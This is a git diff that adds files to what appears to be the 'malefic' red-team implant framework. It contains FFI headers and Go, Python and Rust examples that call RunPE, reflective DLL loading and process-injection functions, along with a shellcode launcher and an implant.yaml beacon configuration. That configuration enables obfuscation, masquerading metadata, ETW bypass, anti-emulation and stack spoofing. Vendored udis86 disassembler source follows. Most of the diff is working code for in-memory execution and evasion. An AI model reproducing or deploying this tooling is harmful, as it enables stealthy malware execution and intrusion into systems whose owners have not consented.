uintptr(unsafe.Pointer(&result)), // Hidden return value pointer (first param) + uintptr(unsafe.Pointer(&startCmd[0])), // start_commandline + uintptr(len(startCmd)), // start_commandline_len + 0, // hijack_commandline (nil) + 0, // hijack_commandline_len + uintptr(unsafe.Pointer(&peData[0])), // data + uintptr(len(peData)), // data_size + 0, // entrypoint (nil) + 0, // entrypoint_len + 0, // args (nil) + 0, // args_len + uintptr(0), // is_x86 (false = x64) + uintptr(0), // pid (0 = create new process) + uintptr(0), // block_dll (false) + uintptr(1), // need_output (true) + ) + + fmt.Printf("RunPE returned: data=%p, len=%d, capacity=%d\n", + result.Data, result.Len, result.Capacity) + + // Convert result to string (similar to String::from_raw_parts in Rust) + if result.Data != nil && result.Len > 0 { + // Use unsafe.Slice to create a Go slice from the raw pointer + output := unsafe.Slice(result.Data, result.Len) + fmt.Printf("\n=== Output ===\n%s\n=============\n", string(output)) + + // Free the memory using SafeFreePipeData + syscall.SyscallN(safeFreeProc.Addr(), uintptr(unsafe.Pointer(result.Data))) + fmt.Println("Memory freed") + } else { + fmt.Println("No output received or execution failed") + } + + fmt.Println("Done!") +} diff --git a/examples/ffi/malefic-win-kit.h b/examples/ffi/malefic-win-kit.h new file mode 100644 index 0000000..cb74935 --- /dev/null +++ b/examples/ffi/malefic-win-kit.h @@ -0,0 +1,113 @@ +#ifndef MALEFIC_WIN_KIT +#define MALEFIC_WIN_KIT + +// This file is generated from src/ffi/mod.rs using cbindgen + +#include +#include + +typedef struct { + uint8_t *data; + uintptr_t len; + uintptr_t capacity; +} RawString; + +RawString ReflectiveLoader(const uint8_t *start_commandline, + uintptr_t start_commandline_len, + const uint8_t *reflective_loader_name, + uintptr_t reflective_loader_name_len, + const uint8_t *data, + uintptr_t data_len, + const uint8_t *param, + uintptr_t param_len, + uint32_t ppid, + bool block_dll, + uint32_t timeout, + bool is_need_output); + +RawString InlinePE(const uint8_t *bin, + uintptr_t bin_size, + const uint16_t *magic, + const uint32_t *signature, + const uint8_t *commandline, + uintptr_t commandline_len, + const uint8_t *entrypoint, + uintptr_t entrypoint_len, + bool is_dll, + bool is_need_output, + uint32_t timeout, + uint32_t delay); + +const void *PELoader(const void *handle, + const void *base_addr, + uintptr_t size, + bool need_modify_magic, + bool need_modify_sign, + uint16_t magic, + uint32_t signature); + +void UnloadPE(const void *module); + +uint8_t HijackCommandLine(const uint8_t *commandline, uintptr_t commandline_len); + +RawString RunSacrifice(uint8_t *application_name, + const uint8_t *start_commandline, + uintptr_t start_commandline_len, + const uint8_t *hijack_commandline, + uintptr_t hijack_commandline_len, + uint32_t parent_id, + bool need_output, + bool block_dll); + +RawString RunPE(const uint8_t *start_commandline, + uintptr_t start_commandline_len, + const uint8_t *hijack_commandline, + uintptr_t hijack_commandline_len, + const uint8_t *data, + uintptr_t data_size, + const uint8_t *entrypoint, + uintptr_t entrypoint_len, + const uint8_t *args, + uintptr_t args_len, + bool is_x86, + uint32_t pid, + bool block_dll, + bool need_output); + +RawString ApcLoaderInline(const uint8_t *bin, uintptr_t bin_len, bool need_output); + +RawString ApcLoaderSacriface(const uint8_t *bin, + uintptr_t bin_len, + int8_t *sacriface_commandline, + uint32_t ppid, + bool block_dll, + bool need_output); + +RawString InjectRemoteThread(const uint8_t *bin, uintptr_t bin_len, uint32_t pid); + +const void *MaleficLoadLibrary(uint32_t flags, + const uint16_t *buffer, + const void *file_buffer, + uintptr_t len, + const uint8_t *name); + +const void *MaleficGetFuncAddrWithModuleBaseDefault(const void *module_base, + const uint8_t *func_name, + uintptr_t func_name_len); + +RawString MaleficExecAssembleInMemory(const uint8_t *data, + uintptr_t data_len, + const uint8_t *const *arguments, + uintptr_t arguments_len); + +RawString MaleficBofLoader(const uint8_t *buffer, + uintptr_t buffer_len, + const uint8_t *const *arguments, + uintptr_t arguments_size, + const uint8_t *entrypoint_name); + +RawString MaleficPwshExecCommand(const uint8_t *command, uintptr_t command_len); + +void SafeFreePipeData(const uint8_t *data); + +#endif /* MALEFIC_WIN_KIT */ diff --git a/examples/ffi/python/README.md b/examples/ffi/python/README.md new file mode 100644 index 0000000..934c23a --- /dev/null +++ b/examples/ffi/python/README.md @@ -0,0 +1,27 @@ +# Python 调用示例 + +通过 Python 调用 WinKit 高级 API(RunPEã€BOFã€Reflective DLL 等)。 + +## è¿è¡Œ + +```bash +python runpe_test.py ../gogo.exe +``` + +è¦æ±‚:Python 3.7+ + +## 自定义 + +传递傿•°ï¼š +```python +args = "--help" +# 在调用中传递 args +``` + +使用å°è£…类: +```python +kit = MaleficWinKit("malefic_win_kit.dll") +output = kit.run_pe(sacrifice, pe_data, args="--help") +``` + +**详细说明è§ä»£ç æ³¨é‡Šã€‚** diff --git a/examples/ffi/python/runpe_test.py b/examples/ffi/python/runpe_test.py new file mode 100644 index 0000000..8a92212 --- /dev/null +++ b/examples/ffi/python/runpe_test.py @@ -0,0 +1,214 @@ +#!/usr/bin/env python3 +""" +Python 调用 malefic-win-kit.dll 示例 +è¿è¡Œ: python runpe_test.py target.exe +""" + +import ctypes +from ctypes import * +import sys +import os + +# 1. 定义 RawString 结构体(必须与 Rust 匹é…) +class RawString(Structure): + _fields_ = [ + ("data", POINTER(c_uint8)), + ("len", c_size_t), + ("capacity", c_size_t) + ] + +class WinKitError(Exception): + """WinKit 异常""" + pass + +class MaleficWinKit: + """Malefic-Win-Kit DLL å°è£…ç±»""" + + def __init__(self, dll_path="malefic_win_kit.dll"): + """ + åˆå§‹åŒ–并加载 DLL + + Args: + dll_path: DLL 文件路径 + """ + print(f"[*] Loading {dll_path}...") + + try: + # Python 3.8+ éœ€è¦æ·»åŠ  DLL æœç´¢è·¯å¾„ + if hasattr(os, 'add_dll_directory'): + # 添加当å‰ç›®å½•到 DLL æœç´¢è·¯å¾„ + dll_dir = os.path.dirname(os.path.abspath(dll_path)) + if dll_dir: + os.add_dll_directory(dll_dir) + else: + os.add_dll_directory(os.getcwd()) + + # 加载 DLL + self.dll = ctypes.CDLL(dll_path) + print("[+] DLL loaded successfully") + except OSError as e: + raise WinKitError(f"Failed to load DLL: {e}") + + # é…ç½® RunPE 函数 + self._setup_run_pe() + + # é…ç½® SafeFreePipeData 函数 + self._setup_safe_free() + + print("[+] Functions configured successfully\n") + + def _setup_run_pe(self): + """é…ç½® RunPE 函数签å""" + # é‡è¦ï¼šrestype 设置为 Noneï¼Œå› ä¸ºæˆ‘ä»¬é€šè¿‡ç¬¬ä¸€ä¸ªå‚æ•°æŽ¥æ”¶è¿”回值 + self.dll.RunPE.restype = None + + # 傿•°ç±»åž‹ï¼ˆç¬¬ä¸€ä¸ªå‚数是返回值指针) + self.dll.RunPE.argtypes = [ + POINTER(RawString), # result (返回值指针) + POINTER(c_uint8), # start_commandline + c_size_t, # start_commandline_len + POINTER(c_uint8), # hijack_commandline + c_size_t, # hijack_commandline_len + POINTER(c_uint8), # data + c_size_t, # data_size + POINTER(c_uint8), # entrypoint + c_size_t, # entrypoint_len + POINTER(c_uint8), # args + c_size_t, # args_len + c_bool, # is_x86 + c_uint32, # pid + c_bool, # block_dll + c_bool # need_output + ] + + def _setup_safe_free(self): + """é…ç½® SafeFreePipeData 函数签å""" + self.dll.SafeFreePipeData.argtypes = [POINTER(c_uint8)] + self.dll.SafeFreePipeData.restype = None + + def run_pe(self, sacrifice_process, pe_data, args=None): + """ + 执行 PE 文件 + + Args: + sacrifice_process: 牺牲进程路径(字符串) + pe_data: PE 文件数æ®ï¼ˆbytes) + args: 传递给 PE çš„å‚æ•°ï¼ˆå­—符串,å¯é€‰ï¼‰ + + Returns: + 执行结果(字符串)或 None + """ + print(f"[*] Sacrifice process: {sacrifice_process}") + print(f"[*] PE data size: {len(pe_data)} bytes") + + # éªŒè¯ PE 文件 + if len(pe_data) < 2 or pe_data[0] != ord('M') or pe_data[1] != ord('Z'): + raise WinKitError("Invalid PE file (missing MZ header)") + + # 转æ¢å‚数为 C 类型 + sacrifice_bytes = sacrifice_process.encode('utf-8') + sacrifice_array = (c_uint8 * len(sacrifice_bytes)).from_buffer_copy(sacrifice_bytes) + + pe_array = (c_uint8 * len(pe_data)).from_buffer_copy(pe_data) + + args_array = None + args_len = 0 + if args: + args_bytes = args.encode('utf-8') + args_array = (c_uint8 * len(args_bytes)).from_buffer_copy(args_bytes) + args_len = len(args_bytes) + + # 分é…返回值结构体 + result = RawString() + + print("[*] Calling RunPE...\n") + + # 调用 RunPEï¼ˆç¬¬ä¸€ä¸ªå‚æ•°æ˜¯è¿”回值指针) + self.dll.RunPE( + byref(result), # 返回值指针(é‡è¦ï¼ï¼‰ + sacrifice_array, # start_commandline + len(sacrifice_bytes), # start_commandline_len + None, # hijack_commandline + 0, # hijack_commandline_len + pe_array, # data + len(pe_data), # data_size + None, # entrypoint + 0, # entrypoint_len + args_array, # args + args_len, # args_len + False, # is_x86 + 0, # pid + False, # block_dll + True # need_output + ) + + # 处ç†ç»“æžœ + print("=== Result ===") + print(f"Data pointer: {result.data}") + print(f"Length: {result.len}") + print(f"Capacity: {result.capacity}\n") + + if result.data and result.len > 0: + # 读å–输出 + output_bytes = string_at(result.data, result.len) + + # 释放内存 + print("[*] Freeing memory...") + self.dll.SafeFreePipeData(result.data) + print("[+] Memory freed\n") + + # 转æ¢ä¸ºå­—符串 + try: + return output_bytes.decode('utf-8', errors='replace') + except: + return output_bytes.decode('gbk', errors='replace') + else: + return None + +def main(): + print("=== Malefic-Win-Kit Python Test ===\n") + + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} ") + print(f"Example: {sys.argv[0]} gogo.exe") + sys.exit(1) + + target_file = sys.argv[1] + + if not os.path.exists(target_file): + print(f"[-] File not found: {target_file}") + sys.exit(1) + + try: + # 创建 WinKit 实例 + kit = MaleficWinKit("malefic_win_kit.dll") + + # è¯»å– PE 文件 + print(f"[*] Reading PE file: {target_file}") + with open(target_file, "rb") as f: + pe_data = f.read() + print(f"[+] Loaded PE: {len(pe_data)} bytes\n") + + # 执行 PE + output = kit.run_pe(r"C:\Windows\System32\notepad.exe", pe_data) + + if output: + print("=== Output ===") + print(output) + print("=============\n") + else: + print("[-] No output received or execution failed\n") + + print("[+] Done!") + + except WinKitError as e: + print(f"[-] Error: {e}") + sys.exit(1) + except Exception as e: + print(f"[-] Unexpected error: {e}") + import traceback + traceback.print_exc() + sys.exit(1) + +if __name__ == "__main__": + main() diff --git a/examples/ffi/rust/Cargo.lock b/examples/ffi/rust/Cargo.lock new file mode 100644 index 0000000..6078613 --- /dev/null +++ b/examples/ffi/rust/Cargo.lock @@ -0,0 +1,7 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "runpe_example" +version = "0.1.0" diff --git a/examples/ffi/rust/Cargo.toml b/examples/ffi/rust/Cargo.toml new file mode 100644 index 0000000..dfdba1d --- /dev/null +++ b/examples/ffi/rust/Cargo.toml @@ -0,0 +1,15 @@ +[package] +name = "runpe_example" +version = "0.1.0" +edition = "2021" + +# 独立包,ä¸å±žäºŽçˆ¶å·¥ä½œç©ºé—´ +[workspace] + +[[bin]] +name = "runpe_example" +path = "runpe_example.rs" + +[dependencies] + +[build-dependencies] diff --git a/examples/ffi/rust/README.md b/examples/ffi/rust/README.md new file mode 100644 index 0000000..72b63fc --- /dev/null +++ b/examples/ffi/rust/README.md @@ -0,0 +1,25 @@ +# Rust 调用示例 + +通过 Rust 调用 WinKit 高级 API(RunPEã€BOFã€Reflective DLL 等)。 + +## è¿è¡Œ + +```bash +cargo run --release +``` + +## 自定义 + +传递傿•°ï¼š +```rust +let args = b"--help"; +// 在调用中传递 args +``` + +注入到进程: +```rust +let pid: u32 = 1234; +// 在调用中传递 pid +``` + +**详细说明è§ä»£ç æ³¨é‡Šã€‚** diff --git a/examples/ffi/rust/runpe_example.rs b/examples/ffi/rust/runpe_example.rs new file mode 100644 index 0000000..5bd74a4 --- /dev/null +++ b/examples/ffi/rust/runpe_example.rs @@ -0,0 +1,180 @@ +// Rust 调用 malefic_win_kit.dll 示例 +// è¿è¡Œæ—¶åЍæ€åŠ è½½ DLL(ä¸éœ€è¦ .lib 文件) + +use std::fs; +use std::ptr; + +// 1. 定义 RawString 结构体 +#[repr(C)] +struct RawString { + data: *mut u8, + len: usize, + capacity: usize, +} + +// 2. 定义函数指针类型 +type RunPEFn = unsafe extern "C" fn( + result: *mut RawString, + start_commandline: *const u8, + start_commandline_len: usize, + hijack_commandline: *const u8, + hijack_commandline_len: usize, + data: *const u8, + data_size: usize, + entrypoint: *const u8, + entrypoint_len: usize, + args: *const u8, + args_len: usize, + is_x86: bool, + pid: u32, + block_dll: bool, + need_output: bool, +); + +type SafeFreePipeDataFn = unsafe extern "C" fn(data: *mut u8); + +// 3. Windows DLL 加载 +#[cfg(windows)] +mod win { + use std::ffi::CString; + use std::ptr; + + #[link(name = "kernel32")] + extern "system" { + fn LoadLibraryA(name: *const i8) -> *mut u8; + fn GetProcAddress(module: *mut u8, name: *const i8) -> *const u8; + fn FreeLibrary(module: *mut u8) -> i32; + } + + pub struct DynamicLib { + handle: *mut u8, + } + + impl DynamicLib { + pub fn load(name: &str) -> Result { + let c_name = CString::new(name).unwrap(); + let handle = unsafe { LoadLibraryA(c_name.as_ptr()) }; + if handle.is_null() { + Err(format!("Failed to load DLL: {}", name)) + } else { + Ok(Self { handle }) + } + } + + pub fn get_proc(&self, name: &str) -> Result { + let c_name = CString::new(name).unwrap(); + let addr = unsafe { GetProcAddress(self.handle, c_name.as_ptr()) }; + if addr.is_null() { + Err(format!("Failed to find function: {}", name)) + } else { + Ok(unsafe { std::mem::transmute_copy(&addr) }) + } + } + } + + impl Drop for DynamicLib { + fn drop(&mut self) { + unsafe { FreeLibrary(self.handle) }; + } + } +} + +fn main() { + println!("=== Malefic-Win-Kit Rust Example ===\n"); + + // 加载 DLL + println!("[*] Loading malefic_win_kit.dll..."); + let lib = win::DynamicLib::load("../malefic_win_kit.dll") + .expect("Failed to load malefic_win_kit.dll"); + println!("[+] DLL loaded successfully\n"); + + // 获å–函数指针 + println!("[*] Getting function addresses..."); + let run_pe: RunPEFn = lib.get_proc("RunPE") + .expect("Failed to find RunPE"); + let safe_free: SafeFreePipeDataFn = lib.get_proc("SafeFreePipeData") + .expect("Failed to find SafeFreePipeData"); + println!("[+] Functions found successfully\n"); + + // è¯»å– PE 文件 + let pe_path = "../gogo.exe"; + println!("[*] Reading PE file: {}", pe_path); + + let pe_data = fs::read(pe_path).expect("Failed to read PE file"); + println!("[+] Loaded PE: {} bytes\n", pe_data.len()); + + // éªŒè¯ PE 文件 + if pe_data.len() < 2 || pe_data[0] != b'M' || pe_data[1] != b'Z' { + panic!("Invalid PE file (missing MZ header)"); + } + + // 准备傿•° + let sacrifice = b"C:\\Windows\\System32\\notepad.exe"; + + println!("[*] Sacrifice process: {}", String::from_utf8_lossy(sacrifice)); + println!("[*] PE data size: {} bytes", pe_data.len()); + println!("[*] Calling RunPE...\n"); + + // 分é…返回值结构体 + let mut result = RawString { + data: ptr::null_mut(), + len: 0, + capacity: 0, + }; + + // 调用 RunPE + unsafe { + run_pe( + &mut result as *mut RawString, // 返回值指针 + sacrifice.as_ptr(), + sacrifice.len(), + ptr::null(), // hijack_commandline (NULL) + 0, + pe_data.as_ptr(), + pe_data.len(), + ptr::null(), // entrypoint (NULL) + 0, + ptr::null(), // args (NULL) + 0, + false, // is_x86 + 0, // pid (0 = new process) + false, // block_dll + true, // need_output + ); + } + + // 处ç†ç»“æžœ + println!("=== Result ==="); + println!("Data pointer: {:?}", result.data); + println!("Length: {}", result.len); + println!("Capacity: {}\n", result.capacity); + + if !result.data.is_null() && result.len > 0 { + // 读å–输出 + let output = unsafe { + std::slice::from_raw_parts(result.data, result.len) + }; + + // 转æ¢ä¸ºå­—ç¬¦ä¸²å¹¶æ‰“å° + println!("=== Output ==="); + match std::str::from_utf8(output) { + Ok(s) => println!("{}", s), + Err(_) => { + // å°è¯• GBK ç¼–ç ï¼ˆWindows 中文) + println!("{}", String::from_utf8_lossy(output)); + } + } + println!("=============\n"); + + // 释放内存(é‡è¦ï¼ï¼‰ + println!("[*] Freeing memory..."); + unsafe { + safe_free(result.data); + } + println!("[+] Memory freed\n"); + } else { + println!("[-] No output or execution failed\n"); + } + + println!("[+] Done!"); +} diff --git a/examples/starship/Cargo.toml b/examples/starship/Cargo.toml new file mode 100644 index 0000000..fecd2d6 --- /dev/null +++ b/examples/starship/Cargo.toml @@ -0,0 +1,14 @@ +[package] +name = "starship_example" +version = "0.1.0" +edition = "2021" + +# Standalone package, not part of parent workspace +[workspace] + +[[bin]] +name = "starship_example" +path = "starship_example.rs" + +[dependencies] +malefic-starship = { path = "../../malefic-starship", default-features = false} diff --git a/examples/starship/README.md b/examples/starship/README.md new file mode 100644 index 0000000..67093ec --- /dev/null +++ b/examples/starship/README.md @@ -0,0 +1,67 @@ +# Malefic Starship Launch Example + +演示如何通过 `malefic-starship` çš„ `launch` 模å—加载和执行 shellcode。 + +## 编译 + +选择一个 loader feature 进行编译: + +```bash +cargo build --features "func_ptr" +cargo build --features "basic_template" +``` + +å¯ç»„åˆç¼–ç å’Œè§„é¿ feature: + +```bash +cargo build --features "func_ptr,enc_xor,evader_etw_pass" +``` + +## è¿è¡Œ + +```bash +starship_example.exe [target_pid] +``` + +## Launch API + +| 函数 | 说明 | +|------|------| +| `launch::load_shellcode(path)` | 从文件加载 shellcode | +| `launch::decode_payload(data, key, extra)` | 使用编译时选定的编ç å™¨è§£ç  | +| `launch::has_encoding()` | 检查是å¦å¯ç”¨äº†ç¼–ç  feature | +| `launch::execute_loader(shellcode, pid)` | 使用编译时选定的 loader 执行 | +| `launch::run(data, key, extra, pid)` | ä¸€ç«™å¼ pipeline: è§£ç  â†’ è§„é¿ â†’ 执行 | + +## å¯ç”¨ Loader Features + +Community 版æä¾› 2 ç§åŸºç¡€æ³¨å…¥æ¨¡æ¿ï¼š + +| Feature | 说明 | +|---------|------| +| `basic_template` | 空模æ¿ï¼Œç”¨äºŽè‡ªå®šä¹‰æ‰©å±• | +| `func_ptr` | ç»å…¸å‡½æ•°æŒ‡é’ˆè‡ªæ³¨å…¥ | + +## ç¼–ç  Features + +| Feature | 算法 | +|---------|------| +| `enc_xor` | XOR | +| `enc_uuid` | UUID encoding | +| `enc_mac` | MAC address encoding | +| `enc_ipv4` | IPv4 encoding | +| `enc_base64` | Base64 | +| `enc_aes` | AES | + +## è§„é¿ Features + +| Feature | 说明 | +|---------|------| +| `evader_anti_emu` | 忍¡æ‹Ÿå™¨æ£€æµ‹ | +| `evader_etw_pass` | ETW bypass | +| `evader_god_speed` | God speed | +| `evader_sleep_encrypt` | Sleep 加密 | +| `evader_anti_forensic` | åå–è¯ | +| `evader_cfg_patch` | CFG patch | +| `evader_api_untangle` | API untangle | +| `evader_normal_api` | Normal API | diff --git a/examples/starship/starship_example.rs b/examples/starship/starship_example.rs new file mode 100644 index 0000000..d4cbf32 --- /dev/null +++ b/examples/starship/starship_example.rs @@ -0,0 +1,73 @@ +// Malefic Malefic Starship Launch 使用示例 +// +// 编译(选择一个 loader feature): +// cargo build --features "func_ptr" +// +// è¿è¡Œï¼š +// starship_example.exe [target_pid] +// +// 也å¯ä½¿ç”¨ç¼–ç  + evasion feature: +// cargo build --features "func_ptr,enc_xor,evader_etw_pass" + +use malefic_starship::Shellcode; +use malefic_starship::launch; + +use std::env; +use std::process; + +fn main() { + println!("=== Malefic Starship Launch Example ===\n"); + + let args: Vec = env::args().collect(); + + // ── Stage 1: Load shellcode ────────────────────────────────────────────── + let sc_path = if args.len() > 1 { + &args[1] + } else { + eprintln!("Usage: {} [target_pid]", args[0]); + process::exit(1); + }; + + println!("[*] Loading shellcode from: {}", sc_path); + let raw = launch::load_shellcode(sc_path).unwrap_or_else(|e| { + eprintln!("[-] {}", e); + process::exit(1); + }); + println!("[+] Loaded {} bytes\n", raw.len()); + + // ── Stage 2: Decode (if encoding feature enabled) ──────────────────────── + let shellcode = if launch::has_encoding() { + println!("[*] Encoding feature detected, decoding payload..."); + // Replace with your actual key/extra if using encoded payloads + let key: &[u8] = &[]; + let extra: &[u8] = &[]; + let decoded = launch::decode_payload(raw.as_slice(), key, extra); + println!("[+] Decoded {} bytes\n", decoded.len()); + Shellcode::new(decoded) + } else { + println!("[*] No encoding — using raw shellcode\n"); + raw + }; + + // ── Stage 3: Parse optional target PID ─────────────────────────────────── + let target_pid: Option = args.get(2).and_then(|s| s.parse().ok()); + if let Some(pid) = target_pid { + println!("[*] Target PID: {}", pid); + } else { + println!("[*] Self-injection mode (no target PID)"); + } + + // ── Stage 4: Execute ───────────────────────────────────────────────────── + println!("[*] Executing loader...\n"); + let result = unsafe { launch::execute_loader(&shellcode, target_pid) }; + + match result { + Ok(()) => println!("\n[+] Loader executed successfully"), + Err(e) => { + eprintln!("\n[-] Loader error: {}", e); + process::exit(1); + } + } + + println!("[+] Done!"); +} diff --git a/implant.yaml b/implant.yaml new file mode 100644 index 0000000..7db5fb6 --- /dev/null +++ b/implant.yaml @@ -0,0 +1,156 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/5 * * * * * *" # cron express + jitter: 0.2 + keepalive: false + retry: 10 # æ¯ä¸ªç›®æ ‡å…许的连续失败次数 + max_cycles: -1 # 最大循环次数,-1 表示无é™å¾ªçޝ + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" # implant private key + public_key: "" # server public key + + # DGAé…ç½® + dga: + enable: false + key: "malefic_dga_2024" # key + interval_hours: 8 # generate once every 8 hours + + # Guardrailé…ç½® - 环境检测防护 + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + # tcp + - address: "127.0.0.1:5001" + +build: + obfstr: true + zigbuild: false + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false # Bogus Control Flow Obfuscation + splitobf: false # Split Control Flow Obfuscation + subobf: false # Instruction Substitution Obfuscation + fco: false # Function CallSite Obfuscation + constenc: false # Constant Encryption Obfuscation + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false # whether to require admin privilege + require_uac: false # whether to require uac privilege + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:80 + protocol: "http" + http: + method: "POST" + path: "/pulse" + host: "127.0.0.1" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + +implants: + runtime: tokio # async runtime: smol/tokio/async-std + mod: beacon # malefic mod: beacon/bind + register_info: true # whether collect sysinfo when register + hot_load: true # enable hot load module + modules: + # module when malefic compile + - "full" + enable_3rd: false # enable 3rd module + 3rd_modules: + # 3rd module when malefic compile + - full + + prelude: "" # prelude config filename + pack: [] # pack + # - src: "1.docx" + # dst: "1.docs" + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + + # for professional + anti: + # åæ²™ç®±å调试å编译åå–è¯ç›¸å…³ + sandbox: false + vm: false # enable anti vm + # debug: true # enable anti debug + # disasm: true # enable anti disasm + # emulator: true # enable anti emulator + # forensic: true # enable anti forensic + + apis: + # apis_level: "sys_apis", "nt_apis" + level: "nt_apis" + # apis_priority: "normal", "user_defined_dyanmic", "func_syscall" "syscalls" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + # type: "sys_dynamic", "user_defined_dynamic" + type: "user_defined_dynamic" + syscalls: + enable: false + # type: "func_syscall", "inline_syscall" + type: "inline_syscall" + alloctor: + # inprocess: "VirtualAlloc", "VirtualAllocEx", + # "VirtualAllocExNuma", "HeapAlloc", + # "NtMapViewOfSection", "NtAllocateVirtualMemory" + inprocess: "NtAllocateVirtualMemory" + # allocter_ex: "VirtualAllocEx", "NtAllocateVirtualMemory", + # "VirtualAllocExNuma", "NtMapViewOfSection" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true + +loader: + evader: + anti_emu: true + etw_pass: true + god_speed: true + sleep_encrypt: false + anti_forensic: false + cfg_patch: true + api_untangle: false + normal_api: false + proxydll: + proxyfunc: "" + raw_dll: "" # + proxied_dll: "" + proxy_dll: "" + pack_resources: true + block: false + hijack_dllmain: true diff --git a/lib/libudis86-sys/Cargo.toml b/lib/libudis86-sys/Cargo.toml new file mode 100644 index 0000000..54a08b0 --- /dev/null +++ b/lib/libudis86-sys/Cargo.toml @@ -0,0 +1,18 @@ +[package] +authors = ["Elliott Linder "] +build = "build.rs" +description = "Low-level bindings to libudis86, the x86 disassembler" +documentation = "https://docs.rs/libudis86-sys" +homepage = "https://github.com/darfink/libudis86-sys" +include = ["build.rs", "libudis86/*", "src/**/*", "Cargo.toml"] +keywords = ["x86", "x64", "disassembler", "udis86", "libudis86"] +license = "MIT" +name = "libudis86-sys" +repository = "https://github.com/darfink/libudis86-sys" +version = "0.2.1" + +[build-dependencies] +cc = "1.0.0" + +[dependencies] +libc = "0.2.58" diff --git a/lib/libudis86-sys/README.md b/lib/libudis86-sys/README.md new file mode 100644 index 0000000..b018f3f --- /dev/null +++ b/lib/libudis86-sys/README.md @@ -0,0 +1,4 @@ +# libudis86-sys + +This crate provides an interface for the [udis86](https://github.com/vmt/udis86) +library. An example can be found in [`src/lib.rs`](src/lib.rs). \ No newline at end of file diff --git a/lib/libudis86-sys/build.rs b/lib/libudis86-sys/build.rs new file mode 100644 index 0000000..5eedcf2 --- /dev/null +++ b/lib/libudis86-sys/build.rs @@ -0,0 +1,14 @@ +fn main() { +cc::Build::new() + .files(&[ + "libudis86/decode.c", + "libudis86/itab.c", + "libudis86/syn-att.c", + "libudis86/syn-intel.c", + "libudis86/syn.c", + "libudis86/udis86.c" + ]) + .flag("-includestring.h") + .static_crt(true) + .compile("udis86"); +} diff --git a/lib/libudis86-sys/libudis86/decode.c b/lib/libudis86-sys/libudis86/decode.c new file mode 100644 index 0000000..036b9ed --- /dev/null +++ b/lib/libudis86-sys/libudis86/decode.c @@ -0,0 +1,1266 @@ +/* udis86 - libudis86/decode.c + * + * Copyright (c) 2002-2009 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#include "udint.h" +#include "types.h" +#include "extern.h" +#include "decode.h" + +#ifndef __UD_STANDALONE__ +# include +#endif /* __UD_STANDALONE__ */ + +/* The max number of prefixes to an instruction */ +#define MAX_PREFIXES 15 + +/* rex prefix bits */ +#define REX_W(r) ( ( 0xF & ( r ) ) >> 3 ) +#define REX_R(r) ( ( 0x7 & ( r ) ) >> 2 ) +#define REX_X(r) ( ( 0x3 & ( r ) ) >> 1 ) +#define REX_B(r) ( ( 0x1 & ( r ) ) >> 0 ) +#define REX_PFX_MASK(n) ( ( P_REXW(n) << 3 ) | \ + ( P_REXR(n) << 2 ) | \ + ( P_REXX(n) << 1 ) | \ + ( P_REXB(n) << 0 ) ) + +/* scable-index-base bits */ +#define SIB_S(b) ( ( b ) >> 6 ) +#define SIB_I(b) ( ( ( b ) >> 3 ) & 7 ) +#define SIB_B(b) ( ( b ) & 7 ) + +/* modrm bits */ +#define MODRM_REG(b) ( ( ( b ) >> 3 ) & 7 ) +#define MODRM_NNN(b) ( ( ( b ) >> 3 ) & 7 ) +#define MODRM_MOD(b) ( ( ( b ) >> 6 ) & 3 ) +#define MODRM_RM(b) ( ( b ) & 7 ) + +static int decode_ext(struct ud *u, uint16_t ptr); +static int decode_opcode(struct ud *u); + +enum reg_class { /* register classes */ + REGCLASS_GPR, + REGCLASS_MMX, + REGCLASS_CR, + REGCLASS_DB, + REGCLASS_SEG, + REGCLASS_XMM +}; + + /* + * inp_start + * Should be called before each de-code operation. + */ +static void +inp_start(struct ud *u) +{ + u->inp_ctr = 0; +} + +static uint8_t +inp_peek(struct ud *u) +{ + if (u->inp_end == 0) { + if (u->inp_buf != NULL) { + if (u->inp_buf_index < u->inp_buf_size) { + return u->inp_buf[u->inp_buf_index]; + } + } else if (u->inp_peek != UD_EOI) { + return u->inp_peek; + } else { + int c; + if ((c = u->inp_hook(u)) != UD_EOI) { + u->inp_peek = c; + return u->inp_peek; + } + } + } + u->inp_end = 1; + UDERR(u, "byte expected, eoi received\n"); + return 0; +} + +static uint8_t 